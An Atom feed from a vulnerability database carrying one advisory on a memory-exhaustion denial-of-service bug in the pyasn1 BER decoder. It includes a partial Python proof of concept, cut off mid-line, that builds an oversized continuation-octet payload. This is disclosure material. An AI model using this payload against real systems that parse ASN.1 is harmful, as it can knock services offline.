<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://db.gcve.eu/rss/recent/all/10</id>
  <title>Most recent entries from all</title>
  <updated>2026-10-02T12:31:34.544947+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>info@gcve.eu</email>
  </author>
  <link href="https://db.gcve.eu" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent entries.</subtitle>
  <entry>
    <id>https://db.gcve.eu/vuln/ghsa-63vm-454h-vhhq</id>
    <title>GHSA-63vm-454h-vhhq — pyasn1 has a DoS vulnerability in decoder</title>
    <updated>2026-10-02T12:31:34.546868+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> PyPI: pyasn1</p>
<p>### Summary</p>
<p>After reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.</p>
<p>### Details</p>
<p>The integer issue can be found in the decoder as `reloid += ((subId &lt;&lt; 7) + nextSubId,)`: https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496</p>
<p>### PoC</p>
<p>For the DoS:
```py
import pyasn1.codec.ber.decoder as decoder
import pyasn1.type.univ as univ
import sys
import resource</p>
<p># Deliberately set memory limit to display PoC
try:
    resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))
    print("[*] Memory limit set to 100MB")
except:
    print("[-] Could not set memory limit")</p>
<p># Test with different payload sizes to find the DoS threshold
payload_size_mb = int(sys.argv[1])</p>
<p>print(f"[*] Testing with {payload_size_mb}MB payload...")</p>
<p>payload_size = payload_size_mb * 1024 * 1024
# Create payload with continuation octets
# Each 0x81 byte indicates continuation, causing bit shifting in decoder
payload = b'\x81' * payload_size + b'\x00'
length = len(payload)</p>
<p># DER length encoding (supports up to 4GB)
if length &lt; 128:
    length_bytes = bytes([length])
elif length &lt; 256:
    length_bytes = b'\x81' + length.to_bytes(1, 'big')
elif length &lt; 256**2:
    length_bytes = b'\x82' + length.to_bytes(2, 'big')
elif length &lt; 256**3:
    length_bytes = b'\x83' + length.to_bytes(3, 'big')
else:
    # 4 bytes can handle up to 4GB
    length_bytes = b'\x84' + length.t…</p></div>
    </content>
    <link href="https://db.gcve.eu/vuln/ghsa-63vm-454h-vhhq"/>
  </entry>
</feed>
